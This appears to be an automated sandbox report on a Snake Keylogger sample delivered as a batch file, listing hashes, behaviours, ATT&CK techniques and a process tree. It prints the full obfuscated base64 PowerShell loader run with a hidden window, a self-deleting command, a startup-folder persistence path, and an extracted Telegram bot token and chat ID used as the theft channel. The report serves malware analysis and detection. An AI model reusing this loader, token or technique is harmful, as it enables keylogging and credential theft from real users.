snakekeylogger | 99f0cef71d37176ef7b40badd2beb4a4d75fd4501188c9362a5c17479c6d6f56

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/04/2026, 03:07

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General

Target
OrbitalProtocol.bat
Size 181KB
Sample260428-dml2dsgs9j
SHA256 99f0cef71d37176ef7b40badd2beb4a4d75fd4501188c9362a5c17479c6d6f56
MD5 eb5d39f6d6aa7aff70db5c8663b83c3d
SHA1 3dd7614a927ae642ca214d45e259592d697bcd2d
SHA512 5d70e8fef6e17e96ff4a6ba2b66de05029c292606506535f955688205758e74b722a28005188d49f0a4a064258dcfd648918fbb900174ea97ec229c40f2b67e6
SSDEEP 3072:LGW4J+TiWmvqOhuSNzoL+JPD1oWHxfpGpjp7htlAuNlVRMYUgBivn:yWtTiWmyOIdL+JOtlAuNlVRMYUgBiP
TLSH
T15D04C43EC6B1EDD0033E71E4959D3B16116C1B93B2B25BACF5C645AA1D11A82EF3B24C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution snakekeylogger keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot8276519013:AAEwAXep-GSs1g7rvrhtPdVTDu6x1TeBu9c/sendMessage?chat_id=5485275217

Signatures

Family: Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/4024-28-0x000002407ECC0000-0x000002407ECE4000-memory.dmp	family_snakekeylogger

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4024	powershell.exe
3	4024	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3b11.bat	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3b11.bat	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4024	powershell.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.dyndns.org
1	reallyfreegeoip.org
3	reallyfreegeoip.org

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4024	powershell.exe
4024	powershell.exe
4024	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4024	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3168 wrote to memory of 1500	3168	cmd.exe	80
PID 1500 wrote to memory of 2636	1500	cmd.exe	81
PID 2636 wrote to memory of 4024	2636	cmd.exe	83
PID 4024 wrote to memory of 4260	4024	powershell.exe	84
PID 4260 wrote to memory of 3916	4260	cmd.exe	86

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\OrbitalProtocol.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3168
- C:\Windows\system32\cmd.exe
  cmd /c start "" /min "C:\Users\Admin\AppData\Local\Temp\OrbitalProtocol.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\OrbitalProtocol.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2636
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -w h -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGYAPQAiAEMudnifAOgBcAFUAcwBlAHudnifIAcwBcACQAZQBuAudnifHYAOgBVAFMARQBSudnifAE4AQQBNAEUAXABudnifhAG8AYwAuAGIAYQudnifB0ACIACgBpAGYAKudnifABUAGUAcwB0AC0AudnifUABhAHQAaAAgACQudnifAZgApAHsACgAgACudnifAAIAAgAGcAYwAgAudnifCQAZgB8AD8AewAkudnifAF8AIAAtAG0AYQBudnif0AGMAaAAgACcAXgudnifA6ADoAOgAgAD8AKudnifAAuACsAKQAkACcAudniffQB8ACUAewB0AHIudnifAeQB7AGkAZQB4ACudnifgAWwBUAGUAeAB0AudnifC4ARQBuAGMAbwBkudnifAGkAbgBnAF0AOgAudnif6AFUAbgBpAGMAbwudnifBkAGUALgBHAGUAdudnifABTAHQAcgBpAG4AudnifZwAoAFsAQwBvAG4udnifAdgBlAHIAdABdADudnifoAOgBGAHIAbwBtAudnifEIAYQBzAGUANgA0udnifAFMAdAByAGkAbgBudnifnACgAJABNAGEAdAudnifBjAGgAZQBzAFsAMudnifQBdACkAKQApAH0AudnifYwBhAHQAYwBoAHsudnifAfQB9AAoAIAAgACudnifAAIABTAHQAYQByAudnifHQALQBTAGwAZQBludnifAHAAIAAtAE0AaQBudnifsAGwAaQBzAGUAYwudnifBvAG4AZABzACAAMudnifQAwADAACgB9AAoAudnifJABiAD0AJwBIADQudnifAcwBJAEEAQQBBAEudnifEAQQBBAEEARQBBAudnifEoAVgBVADIAMwBMudnifAGEATQBCAEQAOQBudnifGAFUAMwBHAEgAZQudnifB5AEcAcQBxAFcAMudnifwBkAEcAQgA0AEEAudnifRQBKAGEAbQBwAEIudnifAUQBJAEUAMABiAGudnifsAdQBuAEkAWgByAudnifEUAVgBaAE0AbABJudnifADQAdQBKADAAOABudnif1ACsAVgBaAFcANAudnifBoAFQATgBQADYAdudnifwBXAE8AdgB6AGoAudnifbQA3AE8AcgB1AFMudnifATQAxAG0ATQBRADudnifQAcQBxAHkAQQBFAudnifCsASwAxAC8AMgBtudnifAHQAMwB6AFcAcgBudnif0AFoAYwBVAFoAaQudnifBjAHEAOQBOACsASudnifwBCAFIAdgByAGwAudnifVQBJAE4AVwBOAFkudnifANQBFADMAUgBBAFudnifQAWQBKAC8AcQBnAudnifE0AcAByAHkAUQBGudnifAFAAQgBrAFMAOABudnifTADcAVABvAEoAawudnifBTAFQAKwBOAFMAUudnifABTACsANAAzAE0AudnifNAB4AEIAUQAyAFYudnifAOQAxADAARQB1AFudnifYAaABoAGoAMwBJAudnifEoAaABLAHEAbABQudnifAGMAawBHAG0AaQBudnifSAFMAaABKAEUAcQudnifBXADQAQgB1AHEAMudnifgBYAEcANQBJAEkAudnifQgBwAGMAcgA3AEwudnifATgB4AEcAMAB4AGudnifgARwBmAG8ARABaAudnifHAARQBJAEQATgBnudnifAHAAbABKAHYAUABudnifCAGIAbwBrAE8ARwudnifBRADgAdgBBAFoAaudnifgBTAFYAcQBLAGQAudnifSQA1AGIAZgBTAE8udnifASABzAHUAYwBRAHudnifIAcQBXAGEAQQBnAudnifCsAQQA2AGsATgA4udnifAEUAUwBLAHUARQAudnif0AFUAZgBIAHoAZgudnifAwADkATAB3ADMAVudnifQBMAHAALwBGAHEAudnifVABRAEkAUQAxAEYudnifAaAAwADIAWAA1AGudnifQAMAAvAEwAVQAvAudnifGsAKwAxAHAALwBPudnifAE4ARAArADIAcABudnif4AG4AeAB5AE4AZQudnifAvADAAUwBpADgATudnifABTADQAYgBCAFcAudnifTABlAHoAcwB0AGYudnifAWAA5AG4AMQBLAHudnifcAcwA0ADcAZgBxAudnifHYALwA4AGQATgB6udnifADkARgB0ADUAOQBudnifhAFoAZABJAFIAOQudnifBYADcAOAArAHAAYudnifQBiAGcAaQBCADMAudnifWgBxADAAMQBxAC8udnifAVgBjADMAKwBQAFudnifYANABzAHIAbwB5AudnifFgAbwBxAGUAUQA1udnifADkAQgBFAFQAOQBudnif5AFgAaABhAGkAUgudnifBrAGYARQBJADUAWudnifQBYAFUAbQBnAHYAudnifRgBXAGgANAB2AG8udnifAVABSAEYAdABmAHudnifYARQBaADgARgBCAudnifEgAKwAwAHIAQQB4udnifADEAUQBsAFEAagAudnifxAHAANwBVADUANAudnifBVADAAagBsAFkAVudnifAAxAFcAOABZAFQAudnifTwA5ADgAeQBWAGkudnifAQgBkAFMAVgBNADudnifkAaAAvAHUAcgBDAudnifHYANABOAEEAbwA2udnifAFYAdAByAFEAdgBudnifjAGgAbABqAEkAMQudnifBIAGcARgBKAEgAYudnifQBMAFcAOAB3ADgAudnifUwAwAGoARABlAGYudnifASQA4AE0AdwBjAEudnifgAZQBoAGEAawArAudnifDgARQBOAEUAUwBjudnifAFMAbABEAEoARgAudnif0AHMALwBYAE4ARgudnifBrAG0AegBDAHMAcudnifgBvAHMARQBPAFoAudnifTwB0ADcATwBXAE8udnifAbQBFAGMAdQBZAHudnifQANQBYAE0AQQBKAudnifE8AMABMADkAeQA4udnifAHoAawBjAHIATwAudnifzAGIAWgBSAEwAdAudnifBCAHkAOQBvAGYANudnifwBJAHUAYQBsAEMAudnifUQAxAHcAWQAyADcudnifASwBtAEYAcQB1ADudnifYAWAA1ADUAOQBzAudnifHQAbwAxAE8AZQB6udnifAEMAZgByAHEAZQBudnif6AEMAaQBJAEcAbAudnifA0AHAAcABTAEUAUudnifABzAHMATgBUAHMAudnifNQBFADIAVABvAEQudnifAdgB4AFUAdwArAEudnifQAMgA5AG8AbgBoAudnifEUASQBuAEoAWABUudnifAFUAWAB3AGsAMgBudnif1AFoAZABvAFIAbAudnifBPAHUAdABSAGQAeudnifgBpAE0AegBFAEcAudnifMQArAEYAVAB4AGwudnifAWQB6AGwAUgBkAFudnifIAZQBYAEEAaQBvAudnifFQAUwArAGIATwBFudnifAHUAbQBaAHYAMwBudnifGAGUAVgBEAE0AZQudnifA5AFQAegBTAEMANudnifwByAHUAdwBGAFYAudnifWABGADgAVwBQAGgudnifAOABYAGEAVwB4ACudnif8AbwBTAHkAegBPAudnifE0AdQBrAEcARwBOudnifAHMAVAA0AHMAegBudnifBAHgAWgByAEkAZAudnifA3AEMAYQBQAGEASudnifABUAFQANQBqAEUAudnifcgBCAFkAKwBEAFoudnifASQBUAE0AdABQAHudnifEATQBjAHYASQBvAudnifFoAZAB5AEIAQgBoudnifAEYAeABuAEYAdAAudnifrAEQAagB5AGgASAudnifB1AGIAcQBIAHIAQudnifwBGADAAdABGAHIAudnifQwBQAFUAMgBrAFYudnifAbABkAFUAUgAyADudnifYAaABYAEUAWQBGAudnifHoAOABzAEEARgBtudnifAFgAMwB4AGwAZwBudnif3AFgAVgBSAFgANAudnifBLAG0AdgA4AHUAUudnifAA3AEwAdgBjAGwAudnifZQAzAHkAVABhADIudnifAegAvAEgAaAA2AGudnifMAQwBaAG0AYQBlAudnifHoASQBIAFoAVAA1udnifAGEAKwByAEwAYQBudnif3AG8AMAA1ADIAdwudnifA0AEwATwBVACsAcudnifQA5AGsAUQBnAE4AudnifNwB0AHYAawBUAHYudnifANAB5AHoAMQBoAEudnifYAUQBkAHYAYgBqAudnifDMAUABjAEkARwBNudnifADYAUAA5AFMAUwAudnif1AGEAYQB6AFEAagudnifBLAGMAeQBQAGIAbudnifwBXAFUAawBVADAAudnifUgB1AGMAVgBNAHgudnifAYwBnAHMAdgBYAGudnifgAbwBYAEsAbgA4AudnifEEAZABiACsAMQBwudnifAGsANABHAEEAQQBudnifBAD0AJwAKACQAYwudnifA9AFsAQwBvAG4AdudnifgBlAHIAdABdADoAudnifOgBGAHIAbwBtAEIudnifAYQBzAGUANgA0AFudnifMAdAByAGkAbgBnAudnifCgAJABiACkACgAkudnifAG0APQBOAGUAdwAudniftAE8AYgBqAGUAYwudnifB0ACAASQBPAC4ATudnifQBlAG0AbwByAHkAudnifUwB0AHIAZQBhAG0udnifAKAAsACQAYwApAAudnifoAJABnAD0ATgBlAudnifHcALQBPAGIAagBludnifAGMAdAAgAEkATwAudnifuAEMAbwBtAHAAcgudnifBlAHMAcwBpAG8AbudnifgAuAEcAWgBpAHAAudnifUwB0AHIAZQBhAG0udnifAKAAkAG0ALABbAEudnifkATwAuAEMAbwBtAudnifHAAcgBlAHMAcwBpudnifAG8AbgAuAEMAbwBudniftAHAAcgBlAHMAcwudnifBpAG8AbgBNAG8AZudnifABlAF0AOgA6AEQAudnifZQBjAG8AbQBwAHIudnifAZQBzAHMAKQAKACudnifQAcgA9AE4AZQB3AudnifC0ATwBiAGoAZQBjudnifAHQAIABJAE8ALgBudnifTAHQAcgBlAGEAbQudnifBSAGUAYQBkAGUAcudnifgAoACQAZwApAAoAudnifJABzAD0AJAByAC4udnifAUgBlAGEAZABUAGudnif8ARQBuAGQAKAApAudnifAoAJAByAC4AQwBsudnifAG8AcwBlACgAKQAudnif7ACQAZwAuAEMAbAudnifBvAHMAZQAoACkAOudnifwAkAG0ALgBDAGwAudnifbwBzAGUAKAApAAoudnifAaQBlAHgAIAAkAHudnifMACgA='.Replace('udnif','')))))""
      4⤵
      Badlisted process makes network request
      Drops startup file
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4024
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4260
      - C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 3
        6⤵
        
        PID:3916

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_cbdaxcky.xym.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cbdaxcky.xym.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

aoc.bat

Path C:\Users\Admin\aoc.bat
Size 181KB
SHA256 99f0cef71d37176ef7b40badd2beb4a4d75fd4501188c9362a5c17479c6d6f56
MD5 eb5d39f6d6aa7aff70db5c8663b83c3d
SHA1 3dd7614a927ae642ca214d45e259592d697bcd2d
SHA512 5d70e8fef6e17e96ff4a6ba2b66de05029c292606506535f955688205758e74b722a28005188d49f0a4a064258dcfd648918fbb900174ea97ec229c40f2b67e6
SSDEEP 3072:LGW4J+TiWmvqOhuSNzoL+JPD1oWHxfpGpjp7htlAuNlVRMYUgBivn:yWtTiWmyOIdL+JOtlAuNlVRMYUgBiP
TLSH
T15D04C43EC6B1EDD0033E71E4959D3B16116C1B93B2B25BACF5C645AA1D11A82EF3B24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4024-21-0x000002407EC00000-0x000002407ECB3000-memory.dmp

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memory/4024-22-0x000002407ECC0000-0x000002407ECCA000-memory.dmp

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memory/4024-11-0x000002407E430000-0x000002407E440000-memory.dmp

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memory/4024-2-0x000002407E430000-0x000002407E440000-memory.dmp

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memory/4024-13-0x00007FF46EDB0000-0x00007FF46EDC0000-memory.dmp

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memory/4024-20-0x000002407EBE0000-0x000002407EBFC000-memory.dmp

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memory/4024-3-0x000002407E430000-0x000002407E440000-memory.dmp

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memory/4024-4-0x000002407E790000-0x000002407E7B2000-memory.dmp

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memory/4024-23-0x000002407ECF0000-0x000002407ED0C000-memory.dmp

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memory/4024-24-0x000002407E430000-0x000002407E440000-memory.dmp

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memory/4024-25-0x000002407EBB0000-0x000002407EBB8000-memory.dmp

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memory/4024-26-0x000002407EBD0000-0x000002407EBE4000-memory.dmp

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memory/4024-28-0x000002407ECC0000-0x000002407ECE4000-memory.dmp

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memory/4024-31-0x000002407E740000-0x000002407E752000-memory.dmp

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